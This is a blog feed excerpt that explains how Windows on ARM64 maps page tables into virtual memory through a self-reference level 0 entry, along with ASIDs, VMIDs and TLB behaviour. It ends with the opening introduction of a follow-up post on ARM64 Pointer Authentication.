<p>Although, so far, we have talked about ARM PTEs - one thing that we have not mentioned (although it is already-known throughout the Windows world) is PTE management. The PTEs live in <em>physical</em> memory as we have seen in our previous translation example. However, CPUs can only access <em>virtual</em> memory directly. This leads to an interesting question - how do we manage PTEs from virtual memory (because our CPU requires it) if they live in physical memory? We don’t want to have map and unmap physical memory <em>every single time</em> we want to update a PTE.</p>

<h2 id="self-reference-page-tables-and-page-table-management">Self-Reference Page Tables And Page Table Management</h2>
<p>This section of the blog post is not entirely specific to ARM64. However, ARM still does use it on Windows for PTE management in virtual memory (and there are some <em>slight</em> nuances, so probably it is worth talking about anyways) - and I have always felt many of the in-depth explanations of PTE management in virtual memory have left a lot to be desired on Windows systems as many articles assume the reader has knowledge already of these concepts. I also am really passionate about this specific topic because I find the Windows implementation so clever. Since I am already doing a blog post on virtual memory internals, I thought it would be prudent to also talk about how exactly Windows is able to manage the PTEs (in physical memory) from virtual memory at every translation level on ARM (level 0, level 1, level 2, and level 3). On x64 systems you will typically hear the term “Self-Reference PML4 entry”. PML4 refers to the root page table on Intel-based systems. On ARM we can refer to this as “Self-Reference Level 0 entry”.</p>

<p>Recall from a previous section how the translation process works:</p>

<p><img src="/images/arm64paging-6.png" alt="" /></p>

<p>Level 0 is used to get level 1’s table address, level 1 is used to get level 2’s table address, level 2 is used to get level 3’s table address, and level 3’s table address is used to get the final page in memory we are looking for (the final physical memory page). Recall <em>how</em> each of these tables is indexed. Each table index results in the fetching of a <em>PTE</em> - which we talked about already. Each PTE provides the page frame number (PFN) - which when multiplied by the size of a page - provides the physical location in memory of the next translation table. This, as we know, is how it breaks down:</p>

<ol>
  <li>Level 0 table index -&gt; PTE (PTE points to Level 1 entry)</li>
  <li>Level 1 table index -&gt; PTE (PTE points to Level 2 entry)</li>
  <li>Level 2 table index -&gt; PTE (PTE points to Level 3 entry)</li>
  <li>Level 3 table index -&gt; PTE (PTE points to physical memory)</li>
  <li>(Does not result in a table lookup) -&gt; final physical address (extract PFN from previous step, add any offset)</li>
</ol>

<p>There are 4 table lookups, but the “fifth” step is taking the “final PTE”, extracting the PFN, multiplying by the size of the page (to get the final physical address) and add any relevant offset from the virtual address. We can see this with <code class="language-plaintext highlighter-rouge">!vtop</code>:</p>

<p><img src="/images/arm64paging-28.png" alt="" /></p>

<p>What if, for instance, we “short-circuited” the table lookup and somehow we coherced the processor to only give us <em>three</em> levels of lookup - while maintaing the <em>exact same</em> memory layout? Let’s take a look:</p>

<ol>
  <li>Level 0 table index -&gt; PTE (PTE points to Level 1 entry)</li>
  <li>Level 1 table index -&gt; PTE (PTE points to Level 2 entry)</li>
  <li>Level 2 table index -&gt; PTE (PTE points to Level 3 entry)</li>
  <li>Level 3 table index -&gt; PTE (PTE points to physical memory)
<del>5. (Does not result in a table lookup) -&gt; final physical address (extract PFN from previous step, add any offset)</del></li>
</ol>

<p>Here we can see that the “final” step is no longer the extraction of a physical memory access. Instead, the “last” step is the level 3 table index, meaning the “final” translation here is a PTE <em>instead</em> of a physical address. Specifically the PTE which <em>maps</em> the final physical address is captured. In other words, we get the “PTE” for this page. Let’s take this a step further and short-circuit everything to only “two levels”:</p>

<ol>
  <li>Level 0 table index -&gt; PTE (PTE points to Level 1 entry)</li>
  <li>Level 1 table index -&gt; PTE (PTE points to Level 2 entry)</li>
  <li>Level 2 table index -&gt; PTE (PTE points to Level 3 entry)
<del>4. Level 3 table index -&gt; PTE (PTE points to physical memory)</del>
<del>5. (Does not result in a table lookup) -&gt; final physical address (extract PFN from previous step, add any offset)</del></li>
</ol>

<p>The final step now because the PTE which points to the level 3 table PTE. In other words, the “final” result of the translation is the a PTE which on Intel systems we would refer to as the “PDE”. on ARM we can refer to this as the level 2 PTE. We can take this further and keep going “backwards and backwards” until we end up with this:</p>

<p><del>1. Level 0 table index -&gt; PTE (PTE points to Level 1 entry)</del>
<del>2. Level 1 table index -&gt; PTE (PTE points to Level 2 entry)</del>
<del>3. Level 2 table index -&gt; PTE (PTE points to Level 3 entry)</del>
<del>4. Level 3 table index -&gt; PTE (PTE points to physical memory)</del>
<del>5. (Does not result in a table lookup) -&gt; final physical address (extract PFN from previous step, add any offset)</del></p>

<p>Theoretically we could go until there are “no” levels used and the level 0 PTE that we started with (the first lookup in the “legitimate” 4-table lookup) is what we end with. This would be paging with “no” or “0” levels.</p>

<p>Now, there are two things to point out here. One is that we have proven that by “short-circuiting” the paging process (e.g., only using 3 of the 4 levels) the “final” address which is translated is that of a page table entry (PTE) - all the way from the PTE that maps the final phyiscal page, to the PTE in the page table root (level 0) which starts the translation process. This, as we can see, provides a mechanism in order to locate the various PTEs in the translation process (whereas normally translation only results in the final physical page).</p>

<p>The second thing to point out here is that it is impossible to ask the processor to “only use” 3 of the 4 levels, as an example, in the translation process. 4 levels will <em>always</em> be used in the current architecture displayed in this blog post (for 64-bit addresses that use “48 bits”). However, we <em>can</em> use a very cool trick in order to actually produce the same result as what we have shown here. By using a self-reference PTE entry it is possible to “simulate” only 3 levels of paging, as an example (on a system where 4 is <em>required</em>), in order to “stop” the translation process one or more levels short. By “stopping” one or more levels short, the “result” of the translation will instead be a PTE instead of a final physical memory address! This is the first step in order to map the PTEs into <em>virtual</em> memory. We will see shortly what we mean by “stopping one or more levels short”.</p>

<p>With the ability to locate, on demand, where any PTE resides (although we have not yet shown what that looks like, just know it is possible at the current moment using the self-reference technique) - the last step would be to simply just map the physical addresses of the PTEs into virtual memory. That is precisely what Windows does - and this is where the self-reference level 0 entry comes into play.</p>

<p>Let us think for one second what we are trying to accomplish. Windows, as we know, maps <em>all</em> of the page tables into virtual memory at a single, flat virtual address which can be indexed as <em>an array</em>. On our machine we know that this array is located at virtual address <code class="language-plaintext highlighter-rouge">0xffff860000000000</code>.</p>

<p>Recall, once more, what a virtual address is. A virtual address is simply a list of indexes into the various page tables (level 0, level 1, etc.) in <em>physical</em> memory. Bits <code class="language-plaintext highlighter-rouge">46:49</code>, <code class="language-plaintext highlighter-rouge">38:30</code>, <code class="language-plaintext highlighter-rouge">29:21</code>, <code class="language-plaintext highlighter-rouge">20:12</code>, and <code class="language-plaintext highlighter-rouge">11:0</code> of the virtual address are used on Windows. Let’s take our example address of <code class="language-plaintext highlighter-rouge">0xffff860000000000</code>, which is the base of the page tables in virtual memory. Let’s convert this address into the appropriate bit states.</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">46:39</code> (<code class="language-plaintext highlighter-rouge">100001100</code> -&gt; 0xC) -&gt; This is the level 0 table index</li>
  <li><code class="language-plaintext highlighter-rouge">38:30</code> (<code class="language-plaintext highlighter-rouge">000000000</code> -&gt; 0)</li>
  <li><code class="language-plaintext highlighter-rouge">29:21</code> (<code class="language-plaintext highlighter-rouge">000000000</code> -&gt; 0)</li>
  <li><code class="language-plaintext highlighter-rouge">20:12</code> (<code class="language-plaintext highlighter-rouge">000000000</code> -&gt; 0)</li>
  <li><code class="language-plaintext highlighter-rouge">11:0</code> (<code class="language-plaintext highlighter-rouge">000000000</code> -&gt; 0)</li>
</ol>

<blockquote>
  <p>Recall that “step 5” is not a table lookup, but physical memory + final offset.</p>
</blockquote>

<p>In this case there is only “one valid” index here, and that is the index into the level 0 table. If we use the same translation process as before, we can see that for the “base of the page tables” in virtual memory, the PTE itself simply “points back” to “itself”! This is what is meant by a self-reference PTE! In this case, when the PFN is extracted from the PTE and multiplied by the size of a page, the <em>physical</em> address of “the next page table” -&gt; which <em>should</em> be the address of the level 1 table is instead the address of the <em>level 0</em> table.</p>

<p><img src="/images/arm64paging-29.png" alt="" /></p>

<p>This is exactly how the page tables are mapped into <em>virtual</em> memory. In this case we quite literally have a virtual address that <em>maps</em> to the physical address of the page table root! This is true <em>for each process</em>. In every single page table root (recall each process has their own page table root in <code class="language-plaintext highlighter-rouge">KPROCESS.DirectoryTableBase</code>) there is <em>always</em> a special level 0 table index (the self-reference index) that always points “back to itself”. The index is <em>the same</em> throughout all processes. This allows the virtual address <code class="language-plaintext highlighter-rouge">0xffff860000000000</code> to be used, therefore, to access <em>all</em> page tables for <em>all</em> page tables across <em>all</em> processes (and kernel-mode memory). Again, this is because the address <code class="language-plaintext highlighter-rouge">0xffff860000000000</code> is setup in such a way that the first index into the first page table, which normally would get us from level 0 to level 1 instead “maps back” to the level 0 table itself - which is the page table root. This gives us a way to access all of the page tables in <em>virtual</em> memory for <em>any</em> process.</p>

<p><img src="/images/arm64paging-30.png" alt="" /></p>

<p>Today Windows “randomizes” this self-reference level 0 index. Because this index is randomized (e.g., it could be <code class="language-plaintext highlighter-rouge">0xC</code> on my machine and <code class="language-plaintext highlighter-rouge">0x8</code> on another machine) this means that the <em>virtual</em> address of the root of the page tables is <em>also</em> randomized (because the VA is constructed from this address). The symbol <code class="language-plaintext highlighter-rouge">nt!MmPteBase</code> also contains the root of the page tables in <em>virtual</em> memory. Historically, the PTEs in virtual memory always started at <code class="language-plaintext highlighter-rouge">0xfffff68000000000</code>. This means, as you can guess, the self-reference index was always located at a static index (because the VA was <em>always</em> constructed to this constant value). Alex Ionescu’s post that was linked earlier goes into detail on the randomization process.</p>

<p>Now we have talked about how we map the page tables into virtual memory - but we have not talked about what I have been referring to as “stopping the translation one level short”. Let’s examine this now.</p>

<p>Take, for example, the address of <code class="language-plaintext highlighter-rouge">ntfs!NtfsCreateFileLock</code>. On my machine, we can see that the VA is comprised of the following indexes:</p>

<ol>
  <li>Level 0 -&gt; <code class="language-plaintext highlighter-rouge">0xf0</code></li>
  <li>Level 1 -&gt; <code class="language-plaintext highlighter-rouge">0x0</code></li>
  <li>Level 2 -&gt; <code class="language-plaintext highlighter-rouge">0x18f</code></li>
  <li>Level 3 -&gt; <code class="language-plaintext highlighter-rouge">0xb7</code></li>
  <li>(Final address offset) -&gt; <code class="language-plaintext highlighter-rouge">0x358</code></li>
</ol>

<p><img src="/images/arm64paging-31.png" alt="" /></p>

<p>We can prove that these indexes correspond to the appropriate virtual address, as seen below.</p>

<p><img src="/images/arm64paging-32.png" alt="" /></p>

<p>Now, if we wanted to get the PTE (the PTE that maps the final physical memory, so “step 4” from above) - we would need to short-circuit the paging process by one level. This is actually where we use the self-reference entry. We, instead, do the following:</p>

<ol>
  <li>Level 0 -&gt; <del><code class="language-plaintext highlighter-rouge">0xf0</code></del> <code class="language-plaintext highlighter-rouge">0xC</code></li>
  <li>Level 1 -&gt; <del><code class="language-plaintext highlighter-rouge">0x0</code></del> <code class="language-plaintext highlighter-rouge">0xf0</code></li>
  <li>Level 2 -&gt; <del><code class="language-plaintext highlighter-rouge">0x18f</code></del> <code class="language-plaintext highlighter-rouge">0x0</code></li>
  <li>Level 3 -&gt; <del><code class="language-plaintext highlighter-rouge">0xb7</code></del> <code class="language-plaintext highlighter-rouge">0x18f</code></li>
  <li>(Final address offset) -&gt; <del><code class="language-plaintext highlighter-rouge">0x358</code></del> <code class="language-plaintext highlighter-rouge">0xb7</code></li>
</ol>

<p>Everything in this case is “shifted down” by one level. This give the <em>apperance</em> of “skipping” one level of paging - by stopping the translation <em>right</em> before the final level of translation we previously saw. Here is a diagram outlining this. We know there will always be 4 table lookups and a “final” offset computation step. Knowing this, we can use the self-reference technique to ensure the last “final memory access” now occurs to a PTE, instead of a real 4KB address, because “everything lags behind one level” as we “spent” the first table lookup going <em>back</em> to the level 0 table, instead of indexing the level 1 table.</p>

<p><img src="/images/arm64paging-32a.png" alt="" /></p>

<p>With the self-reference technique, specifically using it to locate the PTE mapping a 4KB page, the last level of translation becomes the original “2nd-to-last” step - which is retrieving the last PTE from the last table walk - meaning the result of the translation is the PTE. This works because of the desired effect of the self-reference. By making the level 0 index “point back to itself” we can effectively “skip” the first level of translation, and everything gets “shifted down by one level”, so-to-speak. Because the level 1 index is now <em>technically</em> indexing a “level 0 table” - because the “result” of where to find the level 1 table <em>actually</em> produces a level 0 table, since again the level 0 index no longer finds a level 1 entry, it finds itself - this means that the level 2 index now indexes a level 1 table, the level 3 index now indexes the level 2 table, and the “final memory access” now “fetches” memory now accesses the “level 3” table instead of the final memory. Again, to reiterate, the translation process effectively “stops” one level too soon - meaning the final access is to a PTE, not to the actual physical memory. This is because the first table lookup causes a “restart” by making level 1 start back over at level 0, but forcing that “one of the 4 lookups” was spent on this restart.</p>

<p>If we “plug these values” into the debugger, we can see that using the indexes we fetched earlier, plus the self-reference entry as the first index, we locate the virtual address of the PTE!</p>

<p><img src="/images/arm64paging-33.png" alt="" /></p>

<p>There are two slight nuances that are worth calling out, and why I showed this in the first place.</p>

<ol>
  <li>Firstly, you can see in the “level 1” index (the second table lookup, with a provided index of <code class="language-plaintext highlighter-rouge">0xF0</code>) we add in the value of <code class="language-plaintext highlighter-rouge">0x100</code>. We are trying to translate a <em>kernel-mode</em> address. As we learned earlier, on ARM systems, the page tables are broken out into 2 “halves”. By adding the value of <code class="language-plaintext highlighter-rouge">0x100</code> we are instructing our lookup to “use the kernel half” - since this is a kernel-mode address (recall earlier we showed that <em>technically</em> the self-reference entry refers back to the actual root of the page tables, which <em>starts</em> with the user-mode portion. This simply compensates for the fact we are translating a kernel-mode address)</li>
  <li>The last and “final” memory lookup does not use bits <code class="language-plaintext highlighter-rouge">11:0</code>, but instead uses bits <code class="language-plaintext highlighter-rouge">11:3</code> and leaves <code class="language-plaintext highlighter-rouge">2:0</code> set to <code class="language-plaintext highlighter-rouge">0</code>. Why is this? The “final memory access” for a <em>true</em> translation (meaning accessing a final 4KB physical page) requires all 12 bits (<code class="language-plaintext highlighter-rouge">11:0</code>, because this is the <em>offset</em> into the page where the target memory resides). Here, however, we are not using an offset. <code class="language-plaintext highlighter-rouge">0xb7</code>, the final memory access in our PTE-location example, is not an offset into a page of memory - it is instead still an <em>index</em> to a page table. Recall that PTEs are 8 bytes in size. This means that we only use 8 bytes here, and not the full 12 - which is why (<code class="language-plaintext highlighter-rouge">11:3</code> are used instead of <code class="language-plaintext highlighter-rouge">11:0</code>).</li>
</ol>

<p>So we now see why the self-reference entry is so important. To “bring it all home” we will show one more example. Instead of another example of PTEs which map physical memory, we will now look at how to extract even “higher level” PTEs in the translation process. Here is what we just did:</p>

<ol>
  <li>Level 0</li>
  <li>Level 1</li>
  <li>Level 2</li>
  <li>Level 3 <code class="language-plaintext highlighter-rouge">&lt;- This is the PTE we just showed how to grab</code></li>
  <li>(Final 4KB page)</li>
</ol>

<p>Here is what we will do - which is get an even <em>higher</em> level PTE:</p>

<ol>
  <li>Level 0</li>
  <li>Level 1</li>
  <li>Level 2 <code class="language-plaintext highlighter-rouge">&lt;- We will now show how to locate this PTE</code></li>
  <li>Level 3</li>
  <li>(Final 4KB page)</li>
</ol>

<p>This is a very simple thing, now that we have the fundementals down. We now just need to cause “two short-circuits” of the translation process. To do this we now fill <em>the first two</em> indexes with the self-reference entry. To recap - here is how we found the <em>original</em> address (the 4KB page, the true virtual to physical translation):</p>

<ol>
  <li>Level 0 -&gt; <code class="language-plaintext highlighter-rouge">0xf0</code></li>
  <li>Level 1 -&gt; <code class="language-plaintext highlighter-rouge">0x0</code></li>
  <li>Level 2 -&gt; <code class="language-plaintext highlighter-rouge">0x18f</code></li>
  <li>Level 3 -&gt; <code class="language-plaintext highlighter-rouge">0xb7</code></li>
  <li>(Final address offset) -&gt; <code class="language-plaintext highlighter-rouge">0x358</code></li>
</ol>

<p>Here is how we found the PTE which maps the physical page:</p>

<ol>
  <li>Level 0 -&gt; <del><code class="language-plaintext highlighter-rouge">0xf0</code></del> <code class="language-plaintext highlighter-rouge">0xC</code></li>
  <li>Level 1 -&gt; <del><code class="language-plaintext highlighter-rouge">0x0</code></del> <code class="language-plaintext highlighter-rouge">0xf0</code></li>
  <li>Level 2 -&gt; <del><code class="language-plaintext highlighter-rouge">0x18f</code></del> <code class="language-plaintext highlighter-rouge">0x0</code></li>
  <li>Level 3 -&gt; <del><code class="language-plaintext highlighter-rouge">0xb7</code></del> <code class="language-plaintext highlighter-rouge">0x18f</code></li>
  <li>(Final address offset) -&gt; <del><code class="language-plaintext highlighter-rouge">0x358</code></del> <code class="language-plaintext highlighter-rouge">0xb7</code></li>
</ol>

<p>Here is how we will now find the PTE which maps the level 3 table. We, once again, “move everything down one level”:</p>

<ol>
  <li>Level 0 -&gt; <del><code class="language-plaintext highlighter-rouge">0xC</code></del> <code class="language-plaintext highlighter-rouge">0xC</code></li>
  <li>Level 1 -&gt; <del><code class="language-plaintext highlighter-rouge">0xf0</code></del> <code class="language-plaintext highlighter-rouge">0xC</code></li>
  <li>Level 2 -&gt; <del><code class="language-plaintext highlighter-rouge">0x0</code></del> <code class="language-plaintext highlighter-rouge">0xf0</code></li>
  <li>Level 3 -&gt; <del><code class="language-plaintext highlighter-rouge">0x18f</code></del> <code class="language-plaintext highlighter-rouge">0x0</code></li>
  <li>(Final address offset) -&gt; <del><code class="language-plaintext highlighter-rouge">0xb7</code></del> <code class="language-plaintext highlighter-rouge">0x18f</code></li>
</ol>

<p>Because the self-reference entry is now provided <em>twice</em> the final translation will “really be” what was previously the the level 2 table index. Here is what this looks like:</p>

<p><img src="/images/arm64paging-34.png" alt="" /></p>

<p>We still have to remember to compensate for the lookup into the “kernel-half” of the page tables, but now we have a primitive to access <em>even higher-level</em> PTEs - all the way back to the very first level (the PTE indexing the level 0 table, which would be synonymous to the <code class="language-plaintext highlighter-rouge">PML4E</code> on x86 systems). This gives us a primitive to map <em>all</em> of the page table entries into virtual memory so that they can be managed <em>in software</em>. Additionally, as I have <a href="https://connormcgarr.github.io/kuser-shared-data-changes-win-11/">shown in a previous blog</a> using the VA of the page table root (which we say earlier, and is stored in <code class="language-plaintext highlighter-rouge">nt!MmPteBase</code>), we incur an O(1) lookup to fetch the PTE in virtual memory for <em>any</em> virtual address on the system by simply indexing the array by the target VA’s “virtual page number”, of VPN. This value can simply be found by dividing the address by the size of a page (<code class="language-plaintext highlighter-rouge">4096</code>, or <code class="language-plaintext highlighter-rouge">0x1000</code>), and multiplying the value by the data type size (<code class="language-plaintext highlighter-rouge">sizeof(PTE)</code>, which is 8 bytes).</p>

<p><img src="/images/arm64paging-35.png" alt="" /></p>

<p>There is a very simple reason why this works. It is why we have shown so much analysis so far on translation - recall what a virtual address is. A virtual address is simply a computation of <em>indexes</em> into the various page tables. When we divide the page by <code class="language-plaintext highlighter-rouge">0x1000</code> we are effectively saying “exclude bits <code class="language-plaintext highlighter-rouge">11:0</code>” from the virtual address. Why is this? Again, bits <code class="language-plaintext highlighter-rouge">11:0</code> of a virtual address (e.g., like a function in <code class="language-plaintext highlighter-rouge">ntoskrnl</code>) are used to compute an offset into the final 4KB page. This is not a table lookup, as we have seen, and is “step 5” in the process (with there being 4 table lookups and one “memory fetch”).</p>

<p><img src="/images/arm64paging-36.png" alt="" /></p>

<p>That means the remaining bits (<code class="language-plaintext highlighter-rouge">46:12</code>) represent the various indexes into the page tables used for translation. Since we have the root of the page tables (thanks to the self-reference entry, as we saw earlier in <code class="language-plaintext highlighter-rouge">nt!MmPteBase</code>’s construction) we just simply add the indexes, provided by bits <code class="language-plaintext highlighter-rouge">46:12</code>, to the base of the PTEs. And, as with any array index, we also have to multiply by the size of the data type. This is a really cool way that Windows manages the PTEs in <em>virtual</em> memory - with such tremendous speeds and performance!</p>

<h2 id="address-space-identifiers-asids-virtual-machine-identifiers-vmids-and-the-translation-lookaside-buffer-tlb">Address Space Identifiers (ASIDs), Virtual Machine Identifiers (VMIDs), and the Translation Lookaside Buffer (TLB)</h2>
<p>One of the final things I would like to touch on are some of the differences in behavior of the TLB on ARM64 systems versus a typical x86 machine. The TLB, or translation lookaside buffer, is a caching of memory translations. We know that CPUs only operate on virtual memory - but virtual memory is an operating systems/software construct. Access to virtual memory needs to be translated to the <em>actual</em> physical memory. Now, it would be very unperformant to do 4 table lookups + memory access <em>everytime</em> the CPU needs to access memory (instruction fetches, data, etc.). To combat this, the TLB caches tranlsations. When a CPU goes to access memory, the TLB cache is first checked by the MMU (memory-management unit) of the CPU. If a miss occurs (no cached translation was found), then we fall to the page table walking we have shown in this blog post. There are some differences in TLB behavior that are quite interesting that I think are worth talking about here.</p>

<p>Windows maintains a <em>private</em> per-process address space. This means that, for example, address <code class="language-plaintext highlighter-rouge">0x41414141</code> may contain the string “Hello” in process A, but in process B <code class="language-plaintext highlighter-rouge">0x41414141</code> may be invalid, may be reserved but not committed to memory, or may point to some completely different content. This is why historically the TLB was always flushed on context switch. The TLB would only be valid for “the current process” because the addresses for which translations were cached <em>differ</em> between processes. On x86 systems this is typically done by updating the “current” process - by modifying the value in the <code class="language-plaintext highlighter-rouge">CR3</code> control register, which contains “the current page table root”. This is done “under the hood” without an explicit TLB invalidation instruction. It should be noted that the TLB is <em>per-CPU</em>.</p>

<p>There are several items associated with the TLB, but on ARM one of the very interesting things is the present of an “address space” and/or “vitual machine” identifier (ASID/VMID) value. Starting with ASIDs, an ASID is a value that represents, in the TLB, which <em>process</em> the cached translation belongs to. This is not the process ID, but instead a unique value. The reason for this is very interesting in my opinion, and very cool! As I just mentioned, updating the page table root invalidates the TLB so as to not have any “stale” or “false” caches (e.g., process A’s cached translation of <code class="language-plaintext highlighter-rouge">0x41414141</code> is used instead of process B’s actual <code class="language-plaintext highlighter-rouge">0x41414141</code>). This one of the ways we <em>guarantee</em> the per-process address space on Windows. However, on ARM, swaping page table roots does not automatically invalidate the TLB. This is where the ASID comes into play! The ASID of the “current process” is used to always ensure that any TLB entry accesses correspond to <em>that</em> process! This means, for example, process A could have an ASID of <code class="language-plaintext highlighter-rouge">4</code> and process B could have one of <code class="language-plaintext highlighter-rouge">8</code>. <em>Both</em> translations for the address <code class="language-plaintext highlighter-rouge">0x41414141</code> can now be cached in the TLB, because the ASID guarantees that only the <em>correct</em> translation, which corresponds to the target process, is accessed! No more flushing the TLB on every context switch! It should be noted this is specifically talking about <em>non-global</em> (private to a process) pages (whereas global cachings, as long as they are “around”, are already valid in any process).</p>

<p>The ASID namespace is allocated and managed by NT. Support and initialization occurs in <code class="language-plaintext highlighter-rouge">nt!KclAsidInitialize</code>.</p>

<p><img src="/images/arm64paging-37.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">ID_AA64MMFR0_EL1</code> system register, specifically the <code class="language-plaintext highlighter-rouge">ID_AA64MMFR0_EL1.ASIDBits</code> determines the size of ASID values: either 8 or 16-bits. This is important, because there is some nuance with ASIDs. ASIDs can effectively “wrap” when the last possible value is used. When this occurs, there is TLB invalidation in order to, again, avoid mis-matched TLB translation entries. The larger the ASID value, the more ASIDs the namespace supports, meaning more processes can come-and-go before any wrapping occurs and, thus, TLB flushing. Each process on Windows maintains “it’s” assigned ASID value through it’s <code class="language-plaintext highlighter-rouge">KPROCESS</code> object.</p>

<p><img src="/images/arm64paging-38.png" alt="" /></p>

<p>One of the main things to notice is that although we showed <code class="language-plaintext highlighter-rouge">KPROCESS.DirectoryTableBase</code> being the “base of the page tables” for a particular process, the <em>actual</em> value in the <code class="language-plaintext highlighter-rouge">TTBRX_EL1</code> system register is the physical address of the root of the page tables <em>alongside</em> the ASID for the target process. This helps us to know what “the current address space” is, and allows the TLB to receive the target ASID when caching translations.</p>

<p>As part of the creation of the process address space on Windows, <code class="language-plaintext highlighter-rouge">nt!KclAsidAllocate</code> is called - which assigns an ASID to the target process, and <code class="language-plaintext highlighter-rouge">nt!KclAsidFree</code> is called on process deletion.</p>

<p>Although Windows, as we can see in <code class="language-plaintext highlighter-rouge">nt!KclAsidInitialize</code>, stores the ASID in each of the two page table root system registers, software still needs to configure which of the page table roots will used by the CPU in order to determine the ASID (we don’t want to use both registers, especially if they are the same. Only <em>one</em> ASID can be in-use at a time). Windows configures configures the <code class="language-plaintext highlighter-rouge">TCR_EL1.A1</code>, which specifies that <code class="language-plaintext highlighter-rouge">TTBR1_EL1.ASID</code> (the kernel-portion of the page table root), should specify the ASID for the current address space. In addition, it is worth talking about another ARM feature called <em>common not private</em>.  This is a bit defined in the root page table system register (<code class="language-plaintext highlighter-rouge">TTBRX_EL1.CnP</code>). On Windows, this bit is set to “0” - meaning that translations for the current ASID are allowed to be <em>different</em> from other translations for the same ASID on <em>another</em> processor. As a hypothesis, it would probably make more sense to keep TLBs per-CPU, as this is historically how they have always been treated. <a href="https://lists.infradead.org/pipermail/linux-arm-kernel/2023-June/838794.html">This</a> changelog from the Linux kernel actually removes CnP as of 2023 for some of the same reasons as the hypothesis laid out here. This could be wrong, however. I do not work at Microsoft.</p>

<p>Another item of interest, although not applicable to Windows - because VTLs provide the boundary between secure/normal worlds - TLB entries are also marked as secure/non-secure. Similarly to ASIDs - this means that even when switching between security states the TLB does not always have to be invalidated!</p>

<p>In addition to ASIDs, there is another mode of execution that typically occurs on Windows - and that is the hypervisor in EL2. In addition to ASIDs, ARM also provides <em>VMIDs</em>, which are “ASIDs” for VMs. The VMID is used to track which translations in the TLB are associated with which VMs. Again, just like ASIDs, this allows <em>multiple</em> translations to be cached in the TLB at one time since there is a distinction of which VM the translation corresponds to which VM. This, again, allows switching of VMs without needing to always flush the TLB! We should be reminded that this applies to <em>stage 2</em> translations.</p>

<p>There is a relationship between ASIDs and VMIDs. For instance, we can have a VMID of <code class="language-plaintext highlighter-rouge">5</code> which has a translation that is cached in the TLB which has an ASID of <code class="language-plaintext highlighter-rouge">6</code> (VMs “own” their own ASID namespace, just like the EL1 owns one). We then could have a VMID of <code class="language-plaintext highlighter-rouge">10</code> that <em>also</em> has translation cached in the TLB with an ASID of <code class="language-plaintext highlighter-rouge">6</code>.</p>

<p>There are obviously other nuances not covered here, such as “break-before-make”, covered by <code class="language-plaintext highlighter-rouge">FEAT_BBM</code> via <code class="language-plaintext highlighter-rouge">ID_AA64MMFR2_EL1.BBM</code> - which has to do with multiple access to TLB entries - one is updating the TLB entry and one is accessing it. These are more-specific to the inner-workings of the MMU, and not necessarily Windows-specific, so we will not cover them here in this section.</p>

<h2 id="conclusion-and-future-work">Conclusion And Future Work</h2>
<p>I have very much been enjoying my new ARM64 Windows machine! I find it more interesting than x86-based machines at this point, and I very much enjoy the architecture. I hope to deliver some more foundational content, such as exception handline and interrupt delivery on ARM64 Windows systems, in the future. Thank you for making it this far into the blog post!</p>

<h2 id="resources">Resources</h2>
<ul>
  <li>Arm Architecture Reference Manual for A-profile architecture: https://developer.arm.com/documentation/ddi0487/latest/</li>
  <li>Arm “Learn the architecture”: https://developer.arm.com/documentation/102142/0100/Virtualization-host-extensions</li>
  <li>To EL2 and Beyond: http://events17.linuxfoundation.org/sites/events/files/slides/To%20EL2%20and%20Beyond_0.pdf</li>
  <li>Arm virtualization paper: https://www.cs.columbia.edu/~nieh/pubs/isca2016_armvirt.pdf</li>
  <li>KVM/arm64 Architectural Evolutions: https://docshare01.docshare.tips/files/26002/260020807.pdf</li>
  <li>Windows Internals, 7th Edition, Part 2</li>
  <li>Some toying with the Self-Reference PML4 Entry: https://blahcat.github.io/2020-06-15-playing-with-self-reference-pml4-entry/</li>
</ul>]]></content><author><name>Connor McGarr</name></author><category term="posts" /><summary type="html"><![CDATA[Analysis of Windows under ARM64: exception/privilege model, virtual memory mechanics, and OS behavior under VHE]]></summary></entry><entry><title type="html">Exploit Development: Unveiling Windows ARM64 Pointer Authentication (PAC)</title><link href="/windows-pac-arm64/" rel="alternate" type="text/html" title="Exploit Development: Unveiling Windows ARM64 Pointer Authentication (PAC)" /><published>2025-10-15T00:00:00+00:00</published><updated>2025-10-15T00:00:00+00:00</updated><id>/windows-pac-arm64</id><content type="html" xml:base="/windows-pac-arm64/"><![CDATA[<blockquote>
  <p>This blog post is from the original post I made on the <a href="https://www.preludesecurity.com/">Prelude Security</a> blog. The original can be found <a href="https://www.preludesecurity.com/blog/windows-arm64-internals-deconstructing-pointer-authentication">here</a>.</p>
</blockquote>

<h2 id="introduction">Introduction</h2>
<p><a href="https://www.qualcomm.com/content/dam/qcomm-martech/dm-assets/documents/pointer-auth-v7.pdf">Pointer Authentication Code</a>, or PAC, is an anti-exploit/memory-corruption feature that signs pointers so their use (as code or data) can be validated at runtime. PAC is available on Armv8.3-A and Armv9.0-A (and later) ARM architectures and leverages virtual addressing in order to store a small cryptographic signature alongside the pointer value.</p>

<p>On a typical 64-bit processor a pointer is considered a “user-mode” pointer if bit 47 of a 64-bit address is set to 0 (meaning, then, bits 48-63 are also 0). This is known as a canonical user-mode address. If bit 47 is set to 1, bits 48-63 are also set to 1, with this being considered a canonical kernel-mode address. Additionally, LA57, ARM 52 or 56 bit, or similar processors extend the most significant bit out even further (and PAC can also be enabled in the ARM-specific scenarios). For our purposes, however, we will be looking at a typical 64-bit processor with the most significant bit being bit 47.</p>

<p>It has always been an “accepted” standard that the setting of the most significant bit denotes a user-mode or kernel-mode address – with even some hardware vendors, like Intel, formalizing this architecture in actual hardware with CPU features like Linear Address Space Separation (LASS). This means that bits 48-63 are unused on a current, standard 64-bit processor, as the OS typically ignores them. Because they are unused, this allows PAC to store the aforementioned signature in these unused bits alongside the pointer itself.</p>

<p><img src="/images/pac1.png" alt="" /></p>

<p>As mentioned, these “unused” bits are now used to store signing information about a particular pointer in order to validate and verify execution and/or data access to the target memory address. Special CPU instructions are used to both generate and validate cryptographic signatures associated with a particular pointer value. This blog post will examine the Windows implementation of PAC on ARM64 installations of Windows, which, as we will see, supports a very specific implementation of PAC in both user-mode and kernel-mode.</p>

<h2 id="pac-enablement-on-windows">PAC Enablement on Windows</h2>
